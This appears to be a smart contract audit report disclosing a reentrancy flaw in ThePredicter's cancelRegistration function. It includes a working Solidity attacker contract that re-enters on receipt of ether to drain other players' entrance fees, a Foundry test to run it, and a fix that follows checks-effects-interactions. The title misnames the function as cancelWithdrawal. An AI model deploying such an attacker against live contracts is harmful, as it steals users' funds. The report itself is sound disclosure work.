Summary
Possible reentrancy in cancelWithdrawal() can cause losing all funds
Vulnerability Details
Function ThePredicter::cancelRegistration does not follow CEI so it's vulnerable for reentrancy attack
Proof of concept
Add this contract to ThePredicter.test.sol
contract ReentrancyAttacker{
ThePredicter thePredicter;
uint256 entranceFee;
constructor(ThePredicter _thePredicter){
thePredicter = _thePredicter;
entranceFee = thePredicter.entranceFee();
}
function attack() external payable{
thePredicter.register{value:entranceFee}();
thePredicter.cancelRegistration();
}
fallback() external payable{
if(address(thePredicter).balance >= entranceFee){
thePredicter.cancelRegistration();
}
}
receive() external payable{
if(address(thePredicter).balance >= entranceFee){
thePredicter.cancelRegistration();
}
}
}
Add this test to your tests
function test_cancelWithdrawalReentrancy() public{
ReentrancyAttacker attacker = new ReentrancyAttacker(thePredicter);
address attackerAddress = makeAddr("attacker");
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: thePredicter.entranceFee()}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: thePredicter.entranceFee()}();
vm.stopPrank();
vm.deal(attackerAddress, 1 ether);
uint256 startingPredicterBalance = address(thePredicter).balance;
uint256 startingAttackerBalance = address(attacker).balance;
vm.prank(attackerAddress);
attacker.attack{value: thePredicter.entranceFee()}();
console.log("Starting predicter balance: ", startingPredicterBalance);
console.log("Starting attacker balance: ", startingAttackerBalance);
console.log("Ending predicter balance: ",address(thePredicter).balance);
console.log("Ending attacker balance: ", address(attacker).balance);
}
and run command forge test --mt test_cancelWithdrawalReentrancy -vvv
Logs should show that attacker increased his balance by emptying thePredicter contract.
Impact
High, all funds sent by other players can be stolen
Tools Used
Manual review
Recommendations
Change ThePredictor::cancelRegistration to follow CEI best practice
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw")
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
